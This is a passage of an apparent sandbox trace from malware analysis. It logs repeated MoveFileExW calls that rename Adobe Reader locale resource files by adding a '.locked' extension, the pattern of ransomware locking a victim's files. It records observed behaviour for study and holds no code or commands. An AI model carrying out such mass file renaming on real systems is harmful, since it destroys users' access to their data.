10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ly.txt.locked"), dwFlags=0x2) returned 1 [0087.372] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ma.txt.locked"), dwFlags=0x2) returned 1 [0087.401] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt.locked"), dwFlags=0x2) returned 1 [0087.432] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_qa.txt.locked"), dwFlags=0x2) returned 1 [0087.461] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt.locked"), dwFlags=0x2) returned 1 [0087.490] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt.locked"), dwFlags=0x2) returned 1 [0087.524] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt.locked"), dwFlags=0x2) returned 1 [0087.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt.locked"), dwFlags=0x2) returned 1 [0087.583] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt.locked"), dwFlags=0x2) returned 1 [0087.612] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt.locked"), dwFlags=0x2) returned 1 [0087.641] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt.locked"), dwFlags=0x2) returned 1 [0087.670] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt.locked"), dwFlags=0x2) returned 1 [0087.702] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt.locked"), dwFlags=0x2) returned 1 [0087.731] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0087.765] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt.locked"), dwFlags=0x2) returned 1 [0087.796] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt.locked"), dwFlags=0x2) returned 1 [0087.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt.locked"), dwFlags=0x2) returned 1 [0087.856] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt.locked"), dwFlags=0x2) returned 1 [0087.886] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt.locked"), dwFlags=0x2) returned 1 [0087.917] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt.locked"), dwFlags=0x2) returned 1 [0087.948] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0087.981] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt.locked"), dwFlags=0x2) returned 1 [0088.012] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt.locked"), dwFlags=0x2) returned 1 [0088.041] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0088.071] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt.locked"), dwFlags=0x2) returned 1 [0088.101] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt.locked"), dwFlags=0x2) returned 1 [0088.131] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt.locked"), dwFlags=0x2) returned 1 [0088.161] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt.locked"), dwFlags=0x2) returned 1 [0088.190] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt.locked"), dwFlags=0x2) returned 1 [0088.219] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt.locked"), dwFlags=0x2) returned 1 [0088.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt.locked"), dwFlags=0x2) returned 1 [0088.286] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt.locked"), dwFlags=0x2) returned 1 [0088.316] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt.locked"), dwFlags=0x2) returned 1 [0088.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt.locked"), dwFlags=0x2) returned 1 [0088.375] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt.locked"), dwFlags=0x2) returned 1 [0088.404] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt.locked"), dwFlags=0x2) returned 1 [0088.433] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt.locked"), dwFlags=0x2) returned 1 [0088.465] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt.locked"), dwFlags=0x2) returned 1 [0088.496] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0088.532] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt.locked"), dwFlags=0x2) returned 1 [0088.561] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt.locked"), dwFlags=0x2) returned 1 [0088.590] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt.locked"), dwFlags=0x2) returned 1 [0088.620] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt.locked"), dwFlags=0x2) returned 1 [0088.650] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt.locked"), dwFlags=0x2) returned 1 [0088.679] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt.locked"), dwFlags=0x2) returned 1 [0088.709] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt.locked"), dwFlags=0x2) returned 1 [0088.743] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), lpNewFileName="C:\\\\Program Files 